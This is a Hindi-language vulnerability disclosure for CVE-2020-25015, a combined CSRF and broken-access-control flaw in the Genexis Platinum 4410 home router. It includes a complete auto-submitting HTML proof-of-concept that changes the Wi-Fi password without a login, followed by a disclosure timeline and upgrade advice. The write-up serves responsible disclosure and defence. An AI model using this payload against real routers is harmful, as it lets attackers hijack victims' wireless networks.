Genexis Platinum 4410 होम राउटर संस्करण 2.1 (सॉफ़्टवेयर संस्करण P4410-V2-1.28) का परीक्षण करते समय, मैं यह पता लगाने में सक्षम था कि राउटर टूटे एक्सेस कंट्रोल और CSRF के प्रति संवेदनशील है।
CVE ID: CVE-2020-25015
सारांश
Platinum 4410 Genexis का एक कॉम्पैक्ट राउटर है जो आमतौर पर घरों में उपयोग किया जाता है। हार्डवेयर संस्करण V2.1 - सॉफ़्टवेयर संस्करण P4410-V2-1.28 टूटे एक्सेस कंट्रोल और CSRF के प्रति संवेदनशील पाया गया जिसे रिमोटली WIFI एक्सेस पॉइंट का पासवर्ड बदलने के लिए जोड़ा जा सकता है।
CSRF पर अधिक जानकारी के लिए, कृपया इस लेख पर जाएं।
प्रभाव
एक हमलावर पीड़ित को एक लिंक भेज सकता है, जिस पर क्लिक करने पर, यदि वह कमजोर राउटर से स्थापित WIFI नेटवर्क से जुड़ा हुआ है, तो CSRF शोषण के माध्यम से WIFI एक्सेस पॉइंट का पासवर्ड बदल जाएगा। चूंकि राउटर टूटे एक्सेस कंट्रोल के प्रति भी संवेदनशील है, पीड़ित को राउटर के वेब-आधारित सेटअप पेज (192.168.1.1) में लॉगिन करने की आवश्यकता नहीं है, अनिवार्य रूप से इसे वन-क्लिक हैक बना देता है।
भेद्यता
आदर्श रूप से, यह हमला परेशानी भरा होगा क्योंकि CSRF हमले के सफल होने के लिए, यह पीड़ित को उस एप्लिकेशन में लॉगिन करने की आवश्यकता होती है जिस पर हमला किया जा रहा है (इस मामले में, 192.168.1.1 पर वेब-आधारित सेटअप पेज) और अधिकांश राउटर सेटअप पेज उपयोगकर्ता सत्र को स्वचालित रूप से समाप्त कर देते हैं। इसके अलावा, ग्राहक शायद ही कभी अपने राउटर के सेटअप पेज पर जाते हैं। हालांकि, रिपोर्टिंग के समय फर्मवेयर के नवीनतम संस्करण में टूटे एक्सेस कंट्रोल भेद्यता के कारण, पासवर्ड बदलने का अनुरोध अनधिकृत पार्टियों द्वारा भी भेजा जा सकता था।
इस प्रकार CSRF और टूटे एक्सेस कंट्रोल भेद्यता को फर्मवेयर के इस संस्करण पर मिलाकर, एक हमलावर निम्न कोड के साथ एक HTML दस्तावेज़ बना सकता है और उपयोगकर्ता को इसे सबमिट करने के लिए लालच दे सकता है।
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://192.168.1.1/cgi-bin/net-wlan.asp" method="POST"> <input type="hidden" name="wlEnbl" value="ON" /> <input type="hidden" name="hwlKeys0" value="" /> <input type="hidden" name="hwlKeys1" value="" /> <input type="hidden" name="hwlKeys2" value="" /> <input type="hidden" name="hwlKeys3" value="" /> <input type="hidden" name="hwlgMode" value="9" /> <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" /> <input type="hidden" name="hwlEnbl" value="1" /> <input type="hidden" name="hWPSMode" value="1" /> <input type="hidden" name="henableSsid" value="1" /> <input type="hidden" name="hwlHide" value="0" /> <input type="hidden" name="isInWPSing" value="0" /> <input type="hidden" name="WpsConfModeAll" value="7" /> <input type="hidden" name="WpsConfModeNone" value="0" /> <input type="hidden" name="hWpsStart" value="0" /> <input type="hidden" name="isCUCSupport" value="0" /> <input type="hidden" name="SSIDPre" value="N/A" /> <input type="hidden" name="bwControlhidden" value="0" /> <input type="hidden" name="ht_bw" value="1" /> <input type="hidden" name="wlgMode" value="b,g,n" /> <input type="hidden" name="wlChannel" value="0" /> <input type="hidden" name="wlTxPwr" value="1" /> <input type="hidden" name="wlSsidIdx" value="0" /> <input type="hidden" name="SSID_Flag" value="0" /> <input type="hidden" name="wlSsid" value="JINSON" /> <input type="hidden" name="wlMcs" value="33" /> <input type="hidden" name="bwControl" value="1" /> <input type="hidden" name="giControl" value="1" /> <input type="hidden" name="enableSsid" value="on" /> <input type="hidden" name="wlAssociateNum" value="32" /> <input type="hidden" name="wlSecurMode" value="WPAand11i" /> <input type="hidden" name="wlPreauth" value="off" /> <input type="hidden" name="wlNetReauth" value="1" /> <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" /> <input type="hidden" name="cb_enablshowpsw" value="on" /> <input type="hidden" name="wlWpaGtkRekey" value="" /> <input type="hidden" name="wlRadiusIPAddr" value="" /> <input type="hidden" name="wlRadiusPort" value="" /> <input type="hidden" name="wlRadiusKey" value="" /> <input type="hidden" name="wlWpa" value="TKIPAES" /> <input type="hidden" name="wlKeyBit" value="64" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="WpsActive" value="0" /> <input type="hidden" name="wpsmode" value="ap-pbc" /> <input type="hidden" name="pinvalue" value="" /> <input type="hidden" name="Save_Flag" value="1" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
जब तक पीड़ित प्रभावित राउटर द्वारा स्थापित WiFi एक्सेस पॉइंट से जुड़ा हुआ है, एक्सेस पॉइंट का पासवर्ड नीचे दिए गए वीडियो में दिखाए अनुसार बदल जाएगा।
समयरेखा
- भेद्यता 28 अगस्त, 2020 को Genexis टीम को रिपोर्ट की गई
- टीम ने 14 सितंबर, 2020 को फिक्स वाले फर्मवेयर रिलीज़ की पुष्टि की
सिफारिश
- Genexis टीम के अनुसार, ग्राहकों को अपने ISP से संपर्क करके नवीनतम फर्मवेयर तक पहुंच प्राप्त करनी चाहिए।
- यदि आप फर्मवेयर अपग्रेड करने में असमर्थ हैं तो अधिक सुरक्षित राउटर का उपयोग करें।
संदर्भ
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25015
- https://nvd.nist.gov/vuln/detail/CVE-2020-25015